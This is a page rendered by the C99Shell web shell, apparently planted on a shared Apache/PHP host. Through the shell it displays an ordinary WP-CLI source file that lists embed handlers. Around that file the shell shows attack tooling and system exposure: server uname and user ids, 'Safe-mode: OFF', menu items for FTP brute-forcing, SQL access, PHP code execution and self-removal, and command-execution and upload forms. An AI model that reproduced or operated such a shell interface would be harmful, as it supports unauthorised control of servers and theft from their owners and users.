!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/embed-command/src/   drwxr-xr-x
Free 710.04 GB of 879.6 GB (80.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Handler_Command.php (2.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\Embeds;

use WP_CLI;
use WP_CLI\Formatter;
use WP_CLI_Command;

/**
 * Retrieves embed handlers.
 *
 * ## EXAMPLES
 *
 *     # List id,regex,priority fields of available handlers.
 *     $ wp embed handler list --fields=priority,id
 *     +----------+-------------------+
 *     | priority | id                |
 *     +----------+-------------------+
 *     | 10       | youtube_embed_url |
 *     | 9999     | audio             |
 *     | 9999     | video             |
 *
 * @package wp-cli
 */
class Handler_Command extends WP_CLI_Command {
    protected $default_fields = array(
        'id',
        'regex',
    );

    /**
     * Lists all available embed handlers.
     *
     * ## OPTIONS
     *
     * [--field=<field>]
     * : Display the value of a single field
     *
     * [--fields=<fields>]
     * : Limit the output to specific fields.
     *
     * [--format=<format>]
     * : Render output in a particular format.
     * ---
     * default: table
     * options:
     *   - table
     *   - csv
     *   - json
     * ---
     *
     * ## AVAILABLE FIELDS
     *
     * These fields will be displayed by default for each handler:
     *
     * * id
     * * regex
     *
     * These fields are optionally available:
     *
     * * callback
     * * priority
     *
     * ## EXAMPLES
     *
     *     # List id,regex,priority fields of available handlers.
     *     $ wp embed handler list --fields=priority,id
     *     +----------+-------------------+
     *     | priority | id                |
     *     +----------+-------------------+
     *     | 10       | youtube_embed_url |
     *     | 9999     | audio             |
     *     | 9999     | video             |
     *
     * @subcommand list
     */
    public function list_handlers( $args, $assoc_args ) {
        /** @var \WP_Embed $wp_embed */
        global $wp_embed;

        $all_handlers = array();

        ksort( $wp_embed->handlers );
        foreach ( $wp_embed->handlers as $priority => $handlers ) {
            foreach ( $handlers as $id => $handler ) {
                $all_handlers[] = array(
                    'id'       => $id,
                    'regex'    => $handler['regex'],
                    'callback' => $handler['callback'],
                    'priority' => $priority,
                );
            }
        }

        $formatter = $this->get_formatter( $assoc_args );
        $formatter->display_items( $all_handlers );
    }

    /**
     * Get Formatter object based on supplied parameters.
     *
     * @param array $assoc_args Parameters passed to command. Determines formatting.
     * @return \WP_CLI\Formatter
     */
    protected function get_formatter( &$assoc_args ) {
        return new Formatter( $assoc_args, $this->default_fields );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0217 ]--